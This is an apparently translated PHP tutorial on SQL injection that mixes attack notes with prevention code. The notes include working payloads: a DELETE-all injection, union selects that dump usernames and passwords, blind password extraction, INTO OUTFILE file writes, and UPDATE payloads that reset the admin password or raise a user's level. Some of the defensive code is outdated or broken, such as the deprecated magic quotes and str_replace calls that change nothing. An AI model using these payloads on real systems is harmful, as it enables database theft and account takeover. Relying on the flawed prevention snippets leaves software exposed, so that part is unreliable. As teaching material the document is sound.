PHP SQL injection attacks and prevention precautions

// supposed input
$name = "ilia'; DELETE FROM users;";
mysql_query("SELECT * FROM users WHERE name='{$name}'");

Obviously the last command executed by the database is:

SELECT * FROM users WHERE name=ilia; DELETE FROM users

This brings disastrous consequences to the database – all records are deleted.

But if the database you are using is MySQL, then fortunately, the mysql_query() function does not allow you to directly perform such operations (multiple statement operations cannot be performed in a single line), so you can rest assured. If the database used is SQLite or PostgreSQL and supports such a statement, then it will face disaster.

As mentioned above, SQL injection mainly submits unsafe data to the database to achieve the purpose of attack. In order to prevent SQL injection attacks, PHP comes with a function that can process the input string and perform preliminary security processing on the input at the lower level, that is, Magic Quotes. (php.ini magic_quotes_gpc). If the magic_quotes_gpc option is enabled, single quotes, double quotes, and other characters in the input string will be automatically preceded by backslashes.

But Magic Quotes is not a very universal solution, it does not block all potentially dangerous characters, and Magic Quotes is not enabled on many servers. Therefore, we also need to use various other methods to prevent SQL injection.

Many databases provide this input data processing functionality natively. For example, PHP's MySQL operation function has a function called mysql_real_escape_string(), which can escape special characters and characters that may cause database operation errors. This code:

//If Magic Quotes function is enabled
if (get_magic_quotes_gpc()) {
$name = stripslashes($name);
}else{
$name = mysql_real_escape_string($name);
}
mysql_query("SELECT * FROM users WHERE name='{$name}'");

Note that when using the database Before using the function, you must check whether Magic Quotes is turned on, just like in the above example, otherwise an error will occur if the process is repeated twice. If MQ is enabled, the added ones need to be removed to get the real data.

In addition to preprocessing the above string-form data, when storing Binary data in the database, you should also pay attention to preprocessing. Otherwise, the data may conflict with the storage format of the database itself, causing the database to crash, data records to be lost, or even the entire database to be lost. Some databases, such as PostgreSQL, provide a function pg_escape_bytea() specially used to encode binary data, which can encode the data similar to Base64.

For example:

// for plain-text data use:
pg_escape_string($regular_strings);
// for binary data use:
pg_escape_bytea($binary_data) ;

In another case, such a mechanism should also be used. That is, multi-byte languages ​​such as Chinese, Japanese, etc. that are not supported by the database system itself. Some of them have ASCII ranges that overlap with binary data ranges.

Here we recommend two articles about PHP SQL injection prevention. One is provided by 360 Security, and the other is a PHP SQL injection prevention code collected by the author. It is very powerful and easy to use.

• php anti-SQL injection code (provided by 360)
• php code to prevent sql injection vulnerability filtering function

However, encoding the data may cause query statements like LIKE abc% to become invalid.

php sql injection implementation(the test code is safe)

The focus of SQL injection is to construct SQL statements. Only by using SQL flexibly statement to construct a new injection string. After studying, I wrote some notes and have them ready for use at any time. I hope you will read the following content first Understand the basic principles of SQL. The code in the notes comes from the Internet. ===Basic part=== Query this table: http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union union statement: http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/* http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

Export file: http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT statement: INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); Construct homepage value: http://jbxue.com', '3')# The SQL statement becomes: INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://jbxue.com', '3')#' , '1');

UPDATE statement: I like this thing First understand this SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

If this SQL is modified into the following form, then Implemented injection 1: Modify the homepage value to http://jbxue.com', userlevel='3 The SQL statement then becomes

UPDATE user SET password='mypass', homepage='http://jbxue.com', userlevel='3' WHERE id='$id'

userlevel as user Level 2: Modify the password value to

mypass)' WHERE username='admin'#

, the SQL statement becomes

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3: Modify the id value to ' OR username='admin' The SQL statement then becomes

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===Advanced section= == Commonly used MySQL built-in functions DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() database() version() SUBSTRING() MID() char() load_file() … Function application UPDATE article SET title=DATABASE() WHERE id=1 http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) is equivalent to angel, decimal

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1 )>char(100) http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

Determine the number and type of fields in the data structure http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

Guess the data table name http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

Cross-table query to get username and password http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 from ymdown_user where id=1

Others #Verify the first password http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===Injection Prevention=== Server aspect magic_quotes_gpc is set to On display_errors is set to Off coding aspect

$keywords = addslashes($keywords);
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords) ;

Numeric type Use intval() to catch and replace string type Add single quotes to SQL statement parameters The following code is used to prevent injection

if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","_",$keywords );
$keywords = str_replace("%","%",$keywords);
}

Useful functions stripslashes() get_magic_quotes_gpc() mysql_real_escape_string() strip_tags() array_map() addslashes()